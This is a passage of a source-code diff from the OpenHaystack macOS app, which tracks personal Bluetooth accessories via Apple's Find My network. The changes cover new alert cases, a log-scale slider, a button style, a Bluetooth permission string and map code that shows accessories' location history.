+                message: Text("Please check that no the folder is writable and that you have the most current version of the app"),
+                dismissButton: .okay())
+        case .importFailed:
+            return Alert(
+                title: Text("Import failed"),
+                message: Text("Could not import the selected file. Please make sure it has not been modified and that you have the current version of the app."),
+                dismissButton: .okay())
         }
     }
 
-    enum AlertType: Int, Identifiable {
+    enum AlertType: Int, Identifiable, Error {
         var id: Int {
             return self.rawValue
         }
@@ -453,19 +382,21 @@ struct OpenHaystackMainView: View {
         case deployedSuccessfully
         case deletionFailed
         case noReportsFound
+        case downloadingReportsFailed
         case activatePlugin
         case pluginInstallFailed
+        case exportFailed
+        case importFailed
     }
 
 }
 
 struct OpenHaystackMainView_Previews: PreviewProvider {
-
-    static var accessories: [Accessory] = PreviewData.accessories
+    static var accessoryController = AccessoryControllerPreview(accessories: PreviewData.accessories, findMyController: FindMyController()) as AccessoryController
 
     static var previews: some View {
-        OpenHaystackMainView(accessoryController: AccessoryController(accessories: accessories))
-            .frame(width: 640, height: 480, alignment: .center)
+        OpenHaystackMainView()
+            .environmentObject(self.accessoryController)
     }
 }
 
@@ -474,3 +405,35 @@ extension Alert.Button {
         Alert.Button.default(Text("Okay"))
     }
 }
+
+extension TimeInterval {
+    var description: String {
+        var value = 0
+        var unit = Units.second
+        Units.allCases.forEach { u in
+            if self.rounded() >= u.rawValue {
+                value = Int((self / u.rawValue).rounded())
+                unit = u
+            }
+        }
+        return "\(value) \(unit.description)\(value > 1 ? "s" : "")"
+    }
+
+    enum Units: Double, CaseIterable {
+        case second = 1
+        case minute = 60
+        case hour = 3600
+        case day = 86400
+        case week = 604800
+
+        var description: String {
+            switch self {
+            case .second: return "Second"
+            case .minute: return "Minute"
+            case .hour: return "Hour"
+            case .day: return "Day"
+            case .week: return "Week"
+            }
+        }
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/PopUpAlertView.swift

@@ -1,9 +1,11 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import SwiftUI
 
@@ -25,8 +27,9 @@ struct PopUpAlertView: View {
             }
 
         }
-        .background(RoundedRectangle(cornerRadius: 7.5)
-                        .fill(Color.gray))
+        .background(
+            RoundedRectangle(cornerRadius: 7.5)
+                .fill(Color.gray))
     }
 }
 

OpenHaystack/OpenHaystack/HaystackApp/Views/Slider+LogScale.swift

@@ -0,0 +1,45 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import SwiftUI
+
+extension Binding where Value == Double {
+    func logarithmic(base: Double = 10.0) -> Binding<Double> {
+        Binding(
+            get: {
+                logC(self.wrappedValue, forBase: base)
+            },
+            set: { (newValue) in
+                self.wrappedValue = pow(base, newValue)
+            })
+    }
+}
+
+extension Slider {
+    static func withLogScale(
+        base: Double = 10.0,
+        value: Binding<Double>,
+        in inRange: ClosedRange<Double>,
+        minimumValueLabel: ValueLabel = EmptyView() as! ValueLabel,
+        maximumValueLabel: ValueLabel = EmptyView() as! ValueLabel,
+        label: () -> Label = { EmptyView() as! Label },
+        onEditingChanged: @escaping (Bool) -> Void = { _ in }
+    ) -> Slider where Label: View, ValueLabel: View {
+        return self.init(
+            value: value.logarithmic(base: base),
+            in: logC(inRange.lowerBound, forBase: base)...logC(inRange.upperBound, forBase: base),
+            onEditingChanged: onEditingChanged, minimumValueLabel: minimumValueLabel,
+            maximumValueLabel: maximumValueLabel,
+            label: label)
+    }
+}
+
+private func logC(_ value: Double, forBase base: Double) -> Double {
+    return log(value) / log(base)
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/Styles/LargeButtonStyle.swift

@@ -0,0 +1,33 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import Foundation
+import SwiftUI
+
+struct LargeButtonStyle: ButtonStyle {
+
+    var active: Bool = false
+    var destructive: Bool = false
+
+    func makeBody(configuration: Configuration) -> some View {
+        ZStack {
+            if configuration.isPressed {
+                RoundedRectangle(cornerRadius: 5.0)
+                    .fill(Color.accentColor)
+            } else {
+                RoundedRectangle(cornerRadius: 5.0)
+                    .fill(self.active ? Color.accentColor : self.destructive ? Color.red : Color("Button"))
+            }
+
+            configuration.label
+                .font(Font.headline)
+                .padding(6)
+        }
+    }
+}

OpenHaystack/OpenHaystack/Info.plist

@@ -24,13 +24,11 @@
 	<string>$(MACOSX_DEPLOYMENT_TARGET)</string>
 	<key>NSHumanReadableCopyright</key>
 	<string>Copyright © 2021 SEEMOO – TU Darmstadt</string>
-	<key>NSMainStoryboardFile</key>
-	<string>Main</string>
-	<key>NSPrincipalClass</key>
-	<string>NSApplication</string>
 	<key>NSSupportsAutomaticTermination</key>
 	<true/>
 	<key>NSSupportsSuddenTermination</key>
 	<true/>
+	<key>NSBluetoothAlwaysUsageDescription</key>
+	<string>OpenHaystack uses Bluetooth to detect the presence of nearby accessories.</string>
 </dict>
 </plist>

OpenHaystack/OpenHaystack/MapViewController.swift

@@ -1,9 +1,11 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import Cocoa
 import MapKit
@@ -17,67 +19,41 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
         super.viewDidLoad()
         self.mapView.delegate = self
         self.mapView.register(AccessoryAnnotationView.self, forAnnotationViewWithReuseIdentifier: "Accessory")
-    }
-
-    func addLocationsReports(from devices: [FindMyDevice]) {
-        if !self.mapView.annotations.isEmpty {
-            self.mapView.removeAnnotations(self.mapView.annotations)
-        }
-
-        // Zoom to first location
-        if let location =  devices.first?.decryptedReports?.first {
-            let coordinate = CLLocationCoordinate2D(latitude: location.latitude, longitude: location.longitude)
-            let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
-            let region = MKCoordinateRegion(center: coordinate, span: span)
-
-            self.mapView.setRegion(region, animated: true)
-        }
-
-        // Add pins
-        for device in devices {
-
-            guard let reports = device.decryptedReports else {continue}
-            for report in reports {
-                let pin = MKPointAnnotation()
-                pin.title = device.deviceId
-                pin.coordinate = CLLocationCoordinate2D(latitude: report.latitude, longitude: report.longitude)
-                self.mapView.addAnnotation(pin)
-            }
-        }
-
-    }
-
-    func zoom(on accessory: Accessory?) {
-        self.focusedAccessory = accessory
-        guard let location = accessory?.lastLocation else {return}
-        let span = MKCoordinateSpan(latitudeDelta: 0.005, longitudeDelta: 0.005)
-        let region = MKCoordinateRegion(center: location.coordinate, span: span)
-        DispatchQueue.main.async {
-            self.mapView.setRegion(region, animated: true)
-        }
+        self.mapView.register(MKPinAnnotationView.self, forAnnotationViewWithReuseIdentifier: "AccessoryHistory")
     }
 
     func addLastLocations(from accessories: [Accessory]) {
-        if !self.mapView.annotations.isEmpty {
-            self.mapView.removeAnnotations(self.mapView.annotations)
-        }
-
-        // Zoom to first location
-        if focusedAccessory == nil, let location =  accessories.first(where: {$0.lastLocation != nil})?.lastLocation {
-            let span = MKCoordinateSpan(latitudeDelta: 0.005, longitudeDelta: 0.005)
-            let region = MKCoordinateRegion(center: location.coordinate, span: span)
-            DispatchQueue.main.async {
-                self.mapView.setRegion(region, animated: true)
-            }
-        }
-
         // Add pins
+        self.mapView.removeAnnotations(self.mapView.annotations)
         for accessory in accessories {
-            guard accessory.lastLocation != nil else {continue}
-
+            guard accessory.lastLocation != nil else { continue }
             let annotation = AccessoryAnnotation(accessory: accessory)
             self.mapView.addAnnotation(annotation)
+        }
+    }
 
+    func zoomInOnSelection() {
+        if focusedAccessory == nil {
+            zoomInOnAll()
+        } else {
+            // Show focused accessory
+            let focusedAnnotation: MKAnnotation? = self.mapView.annotations.first(where: { annotation in
+                let accessoryAnnotation = annotation as! AccessoryAnnotation
+                return accessoryAnnotation.accessory == self.focusedAccessory
+            })
+            if let annotation = focusedAnnotation {
+                zoomInOn(annotations: [annotation])
+            }
+        }
+    }
+
+    func zoomInOnAll() {
+        zoomInOn(annotations: self.mapView.annotations)
+    }
+
+    func zoomInOn(annotations: [MKAnnotation]) {
+        DispatchQueue.main.async { [weak self] in
+            self?.mapView.showAnnotations(annotations, animated: true)
         }
     }
 
@@ -85,12 +61,33 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
         self.mapView.mapType = mapType
     }
 
+    func addAllLocations(from accessory: Accessory, past: TimeInterval) {
+        let now = Date()
+        let pastLocations = accessory.locations?.filter { location in
+            guard let timestamp = location.timestamp else {
+                return false
+            }
+            return timestamp + past >= now
+        }
+
+        self.mapView.removeAnnotations(self.mapView.annotations)
+        for location in pastLocations ?? [] {
+            let coordinate = CLLocationCoordinate2DMake(location.latitude, location.longitude)
+            let annotation = AccessoryHistoryAnnotation(coordinate: coordinate)
+            self.mapView.addAnnotation(annotation)
+        }
+    }
+
     func mapView(_ mapView: MKMapView, viewFor annotation: MKAnnotation) -> MKAnnotationView? {
         switch annotation {
         case is AccessoryAnnotation:
             let annotationView = mapView.dequeueReusableAnnotationView(withIdentifier: "Accessory", for: annotation)
             annotationView.annotation = annotation
             return annotationView
+        case is AccessoryHistoryAnnotation:
+            let annotationView = mapView.dequeueReusableAnnotationView(withIdentifier: "AccessoryHistory", for: annotation)
+            annotationView.annotation = annotation
+            return annotationView
         default:
             return nil
         }